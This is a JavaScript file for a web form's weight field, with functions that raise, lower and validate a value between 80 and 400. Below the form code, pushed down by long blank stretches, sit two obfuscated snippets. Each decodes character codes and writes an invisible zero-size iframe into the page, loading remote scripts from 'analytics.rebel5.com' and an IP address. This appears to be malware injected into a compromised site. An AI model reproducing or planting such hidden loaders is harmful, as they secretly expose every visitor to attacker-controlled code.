function addweight()
{
	var weight;
	weight=document.getElementById('txtweight').value;
	if((weight>79)&&(weight<400))
	{
		if(weight>400)
		{
			alert("Weight should be maximum 400");
			document.getElementById('txtweight').value=400;
		}
		else
		{
			weight=parseInt(weight);
			weight=weight+1;
			document.getElementById('txtweight').value=weight;
		}
	}
	else
	{
		alert("Weight should be minimum 80 and maximum 400");
		document.getElementById('txtweight').value=80;
	}
}
function subweight()
{
	var weight;
	weight=document.getElementById('txtweight').value;
	if((weight>80)&&(weight<401))
	{
		if(weight<80)
		{
			alert("Weight should be minimum 80");
			document.getElementById('txtweight').value=80;
		}
		else
		{
			weight=parseInt(weight)
			weight=weight-1;
			document.getElementById('txtweight').value=weight;
	    }
	}
	else
	{
		alert("Weight should be minimum 80 and maximum 400");
		document.getElementById('txtweight').value=400;
	}
}

function Checkweight()
{
	var weight;
	valPatt=/^[0-9]+$/;
	weight=document.getElementById('txtweight').value;
	if(weight=="")
	{   
	    alert('Weight cannot be null');
	    return false;
	}
	else
	{
	    if(weight.search(valPatt)!=-1)
		{
			if(weight>400)
			{
				document.getElementById('txtweight').value=400;
				alert("Weight should be maximum 400");
				return false;
				
			}
			else if(weight<80)
			{
				document.getElementById('txtweight').value=80;
				alert("Weight should be minimum 80 and maximum 400");
				return false;
			}
			else
			{
			   return true;
			}
		}
		else
		{
		document.getElementById('txtweight').value="";
		alert('Invalid Weight');
		return false;
		}	
	}
}































var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!97!110!97!108!121!116!105!99!115!46!114!101!98!101!108!53!46!99!111!109!47!115!116!97!116!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);






























var temp="",i,c=0,out="";var str="60!105!102!114!97!109!101!32!115!114!99!61!34!104!116!116!112!58!47!47!52!54!46!52!46!49!54!51!46!50!48!56!47!99!111!117!110!116!101!114!46!106!115!34!32!119!105!100!116!104!61!48!32!104!101!105!103!104!116!61!48!32!102!114!97!109!101!98!111!114!100!101!114!61!48!62!60!47!105!102!114!97!109!101!62!";l=str.length;while(c<=str.length-1){while(str.charAt(c)!='!')temp=temp+str.charAt(c++);c++;out=out+String.fromCharCode(temp);temp="";}document.write(out);

